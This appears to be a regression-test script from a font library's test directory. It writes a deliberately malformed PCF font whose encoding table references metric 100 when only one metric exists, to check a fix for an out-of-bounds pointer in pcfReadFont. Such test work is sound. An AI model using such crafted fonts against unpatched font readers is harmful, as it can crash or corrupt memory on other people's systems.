Home | History | Annotate | Line # | Download | only in test
      1 #!/usr/bin/env python3
      2 """
      3 Generate a malicious PCF font with an out-of-bounds encoding offset.
      4 
      5 The font has 1 metric but the encoding table references metric index
      6 100, far past the metrics array.  Without the fix, pcfReadFont stores
      7 a wild pointer (metrics + 100) in the encoding table.
      8 
      9 Based on gen_evil_pcf_repad.py structure for a known-good PCF layout.
     10 
     11 Usage:
     12     python3 gen_evil_pcf_encoding.py <output_dir>
     13 """
     14 
     15 import struct
     16 import sys
     17 import os
     18 
     19 PCF_DEFAULT_FORMAT = 0x00000000
     20 PCF_PROPERTIES = 1
     21 PCF_ACCELERATORS = 2
     22 PCF_METRICS = 4
     23 PCF_BITMAPS = 8
     24 PCF_BDF_ENCODINGS = 32
     25 
     26 
     27 def u32(x):
     28     return struct.pack("<I", x & 0xFFFFFFFF)
     29 
     30 
     31 def i32(x):
     32     return struct.pack("<i", x)
     33 
     34 
     35 def u16(x):
     36     return struct.pack("<H", x & 0xFFFF)
     37 
     38 
     39 def i16(x):
     40     return struct.pack("<h", x)
     41 
     42 
     43 def u8(x):
     44     return struct.pack("<B", x & 0xFF)
     45 
     46 
     47 def xCharInfo(lsb, rsb, cw, asc, desc, attr):
     48     return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr)
     49 
     50 
     51 # Glyph: 8x10
     52 LSB, RSB = 0, 8
     53 ASCENT, DESCENT = 8, 2
     54 CHAR_WIDTH = 8
     55 
     56 # Bitmap: pad=1, 1 byte/row * 10 rows = 10 bytes
     57 BITMAP_DATA_SIZE = 10
     58 BITMAP_SIZES = [BITMAP_DATA_SIZE, 20, 40, 80]
     59 
     60 # --- PROPERTIES (same as repad test) ---
     61 properties = b""
     62 properties += u32(PCF_DEFAULT_FORMAT)
     63 properties += i32(1)
     64 properties += i32(0)
     65 properties += u8(0)
     66 properties += i32(0)
     67 properties += b"\x00" * 3
     68 properties += i32(1)
     69 properties += b"\x00"
     70 
     71 # --- ACCELERATORS ---
     72 accel = b""
     73 accel += u32(PCF_DEFAULT_FORMAT)
     74 accel += u8(0) * 8
     75 accel += i32(ASCENT)
     76 accel += i32(DESCENT)
     77 accel += i32(0)
     78 accel += xCharInfo(0, 0, 0, 0, 0, 0)
     79 accel += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0)
     80 
     81 # --- METRICS (1 glyph) ---
     82 metrics = b""
     83 metrics += u32(PCF_DEFAULT_FORMAT)
     84 metrics += i32(1)  # nmetrics = 1
     85 metrics += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0)
     86 
     87 # --- BITMAPS ---
     88 bitmaps = b""
     89 bitmaps += u32(PCF_DEFAULT_FORMAT)
     90 bitmaps += i32(1)  # nbitmaps = 1
     91 bitmaps += u32(0)  # offset[0] = 0
     92 for sz in BITMAP_SIZES:
     93     bitmaps += u32(sz)
     94 bitmaps += b"\xaa" * BITMAP_DATA_SIZE
     95 
     96 # --- BDF_ENCODINGS ---
     97 # EVIL: encoding offset 100, but nmetrics is only 1
     98 EVIL_OFFSET = 100
     99 encodings = b""
    100 encodings += u32(PCF_DEFAULT_FORMAT)
    101 encodings += u16(0) + u16(0)  # firstCol, lastCol
    102 encodings += u16(0) + u16(0)  # firstRow, lastRow
    103 encodings += u16(0)  # defaultCh
    104 encodings += u16(EVIL_OFFSET)  # encoding[0] -> metric[100] OOB!
    105 
    106 # --- Assemble ---
    107 TABLE_COUNT = 5
    108 BODY_START = 8 + TABLE_COUNT * 16
    109 
    110 properties_off = BODY_START
    111 accel_off = properties_off + len(properties)
    112 metrics_off = accel_off + len(accel)
    113 bitmaps_off = metrics_off + len(metrics)
    114 encodings_off = bitmaps_off + len(bitmaps)
    115 
    116 
    117 def toc(type_, format_, size, offset):
    118     return u32(type_) + u32(format_) + u32(size) + u32(offset)
    119 
    120 
    121 out = b"\x01fcp" + u32(TABLE_COUNT)
    122 out += toc(PCF_PROPERTIES, 0, len(properties), properties_off)
    123 out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off)
    124 out += toc(PCF_METRICS, 0, len(metrics), metrics_off)
    125 out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off)
    126 out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off)
    127 out += properties + accel + metrics + bitmaps + encodings
    128 
    129 output_dir = sys.argv[1] if len(sys.argv) > 1 else "."
    130 os.makedirs(output_dir, exist_ok=True)
    131 
    132 pcf_name = "evil-encoding.pcf"
    133 xlfd = "-evil-encoding-medium-r-normal--10-100-75-75-c-80-iso10646-1"
    134 
    135 with open(os.path.join(output_dir, pcf_name), "wb") as f:
    136     f.write(out)
    137 
    138 with open(os.path.join(output_dir, "fonts.dir"), "w") as f:
    139     f.write("1\n")
    140     f.write(f"{pcf_name} {xlfd}\n")
    141